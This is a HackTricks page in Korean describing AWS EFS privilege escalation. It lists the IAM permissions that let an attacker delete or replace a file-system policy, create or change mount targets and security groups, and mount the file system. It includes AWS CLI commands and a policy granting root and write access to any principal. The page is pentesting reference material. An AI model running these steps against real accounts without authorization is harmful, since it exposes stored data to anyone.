AWS - EFS Privesc

HackTricks 지원하기

EFS

더 많은 EFS 정보는 다음에서 확인할 수 있습니다:

AWS - EFS Enum

EFS를 마운트하려면 EFS가 노출된 하위 네트워크에 있어야 하고 액세스 권한이 있어야 합니다(보안 그룹). 이러한 경우 기본적으로 항상 마운트할 수 있지만 IAM 정책으로 보호되어 있는 경우 여기서 언급된 추가 권한이 필요합니다.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

위 권한 중 하나를 가지고 있는 공격자는 파일 시스템 정책을 변경하여 액세스 권한을 부여하거나 삭제하여 기본 액세스를 부여할 수 있습니다.

정책을 삭제하려면:

aws efs delete-file-system-policy \
--file-system-id <value>

변경하려면:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

이 권한을 가지고 있으면 공격자는 EFS를 마운트할 수 있습니다. EFS를 마운트할 수 있는 모든 사용자에게 기본적으로 쓰기 권한이 부여되지 않은 경우 읽기 액세스만 가질 것입니다.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

추가 권한 elasticfilesystem:ClientRootAccesselasticfilesystem:ClientWrite는 파일 시스템이 마운트된 후에 내부에 쓰기하고 해당 파일 시스템을 루트로 액세스할 수 있습니다.

잠재적인 영향: 파일 시스템에서 민감한 정보를 찾아 간접적인 권한 상승.

elasticfilesystem:CreateMountTarget

만약 EFS의 마운트 대상이 없는 서브네트워크에 공격자가 있다면, 이 권한으로 자신의 서브넷에 하나를 생성할 수 있습니다:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

잠재적 영향: 파일 시스템에서 민감한 정보를 찾아 간접적으로 권한 상승.

elasticfilesystem:ModifyMountTargetSecurityGroups

공격자가 EFS에 자신의 서브네트워크에 마운트 대상이 있지만 트래픽을 허용하는 보안 그룹이 없는 것을 발견한 시나리오에서, 그는 선택한 보안 그룹을 수정하여 그것을 변경할 수 있습니다:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

잠재적인 영향: 파일 시스템에서 민감한 정보를 찾아 간접적인 권한 상승.

HackTricks 지원

Last updated